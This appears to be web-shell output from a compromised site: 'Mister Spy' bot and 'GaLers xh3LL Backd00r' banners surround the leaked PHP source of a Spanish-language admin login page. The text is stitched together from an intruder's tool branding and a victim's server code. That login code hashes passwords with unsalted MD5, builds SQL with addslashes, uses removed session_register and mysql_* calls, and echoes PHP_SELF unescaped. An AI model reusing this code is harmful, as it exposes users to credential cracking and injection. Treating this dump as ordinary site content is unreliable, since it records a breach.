Mister Spy Say ="Hello Kids ... :D"
___ ____ _ _____
| \/ (_) | | / ___|
| . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _
| |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | |
| | | | \__ \ || __/ | /\__/ / |_) | |_| |
\_| |_/_|___/\__\___|_| \____/| .__/ \__, |
| | __/ |
|_| |___/
Bot Mister Spy V3
Mister Spy
Mister Spy
<?php
require_once('../../Connections/cnx.php');
// *** Validate request to login to this site.
session_start();
// Deslogeo todos los posibles datos que traigo del front end...
session_unregister("MM_Username");
session_unregister("MM_UserAuthorization");
session_unregister("MM_ID");
session_unregister("MM_Group");
//---------------------------------------------------------------
$loginFormAction = $_SERVER['PHP_SELF'];
if (isset($accesscheck)) {
$GLOBALS['PrevUrl'] = $accesscheck;
session_register('PrevUrl');
}
if (isset($_POST['user'])) {
$loginUsername=$_POST['user'];
$password=md5($_POST['pass']);
$MM_redirectLoginSuccess = "index2.php";
$MM_redirectLoginFailed = "index.php";
$MM_redirecttoReferrer = false;
mysql_select_db($database_cnx, $cnx);
$LoginRS__query=sprintf("SELECT administrador, password, noticiaID, administradorID, nivelID, ModuloUsuarios FROM administradores WHERE administrador='%s' AND password='%s'",
get_magic_quotes_gpc() ? $loginUsername : addslashes($loginUsername), get_magic_quotes_gpc() ? $password : addslashes($password));
$LoginRS = mysql_query($LoginRS__query, $cnx) or die(mysql_error());
$loginFoundUser = mysql_num_rows($LoginRS);
if ($loginFoundUser) {
$loginStrid = mysql_result($LoginRS,0,'administradorID');
$loginStrGroup = mysql_result($LoginRS,0,'nivelID');
$loginStrNoticias = mysql_result($LoginRS,0,'noticiaID');
$loginModuloUsuarios = mysql_result($LoginRS,0,'ModuloUsuarios');
//declare two session variables and assign them
$GLOBALS['MM_Username'] = $loginUsername;
$GLOBALS['MM_ID'] = $loginStrid;
$GLOBALS['MM_Group'] = $loginStrGroup;
$GLOBALS['MM_Noticias'] = $loginStrNoticias;
$_SESSION['ModuloUsuarios'] = $loginModuloUsuarios;
$_SESSION['MM_UserGroup'] = "";
//register the session variables
session_register("MM_Username");
session_register("MM_UserGroup");
session_register("MM_ID");
session_register("MM_Group");
session_register("MM_Noticias");
if (isset($_SESSION['PrevUrl']) && false) {
$MM_redirectLoginSuccess = $_SESSION['PrevUrl'];
}
header("Location: " . $MM_redirectLoginSuccess );
}
else {
header("Location: ". $MM_redirectLoginFailed );
}
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>.: Administración :.</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="basico_backend.css" rel="stylesheet" type="text/css">
</head>
<body onLoad="javascript:document.loginfrm.user.focus();">
<p> </p>
<FORM action="<?php echo $loginFormAction; ?>" id=loginfrm name=loginfrm method=POST target="_top">
<p align="center" class="campoEliminar"> </p>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse;">
<tr>
<td>
<table border="0" cellpadding="0" cellspacing="0" align="center">
<tr>
<td><div align="center"><span class="tituloLogin">INGRESO AL ADMINISTRADOR DE LA WEB</span></div></td>
</tr>
</table>
</td>
</tr>
<tr>
<td height="30"> </td>
</tr>
<tr>
<td>
<table width="250" border="0" align="center" cellpadding="5" cellspacing="0">
<tr>
<td>
<table width="250" border="0" align="center" cellpadding="5" cellspacing="0" class="bordeGrisLogin">
<tr>
<td><TABLE width="100%" border=0
align=center cellpadding="10" cellspacing="0" style="BORDER-COLLAPSE: collapse">
<TBODY>
<TR bgcolor="#FFFFFF">
<TD align=middle bgcolor="#FFFFFF" class="bordeGrisLogin"><div align="center">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><div align="center"><img src="images/logo.jpg" width="100" height="100"><br>
<br>
<span class="tituloCategoriaMenu">PANEL DE ADMINISTRACIÓN</span> </div></td>
</tr>
<tr>
<td height="30"><table width="100%" border="0" cellpadding="0" cellspacing="0" id="linea">
<tr>
<td height="1" background="images/linea_punteada_vertical.gif"><div align="center"></div></td>
</tr>
</table></td>
</tr>
<tr>
<td><TABLE width="100%" border=0
align=center cellpadding="3" cellspacing="0" style="BORDER-COLLAPSE: collapse">
<TBODY>
<TR valign="middle">
<TD width="10"> </TD>
<TD><div align="left"><strong>Usuario:</strong></div></TD>
<TD width="10"> </TD>
</TR>
<TR valign="middle">
<TD width="10"> </TD>
<TD>
<div align="left">
<INPUT name=user class="campoLogin" id=user6>
</div></TD>
<TD width="10"> </TD>
</TR>
<TR valign="middle">
<TD width="10"> </TD>
<TD><div align="left"><STRONG>Contraseña:</STRONG></div></TD>
<TD width="10"> </TD>
</TR>
<TR valign="middle">
<TD width="10"> </TD>
<TD>
<div align="left">
<input name="pass" type="password" class="campoLogin" id="pass6" value="">
</div></TD>
<TD width="10"> </TD>
</TR>
</TABLE></td>
</tr>
<tr>
<td> </td>
</tr>
</table>
</div></TD>
</TR>
<TR>
<TD height="2" align=middle><div align="center"></div></TD>
</TR>
</TABLE>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGrisLoginFondo">
<tr valign="middle">
<td height="30"><div align="right">
<input name="Submit2" type="submit" class="boton" value="Ingresar">
</div></td>
<td width="20"> </td>
</tr>
</table></td>
</tr>
</table>
</td>
</tr>
</tbody>
</table>
</td>
</tr>
</table>
</FORM>
<p> </p>
</body>
</html>
Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat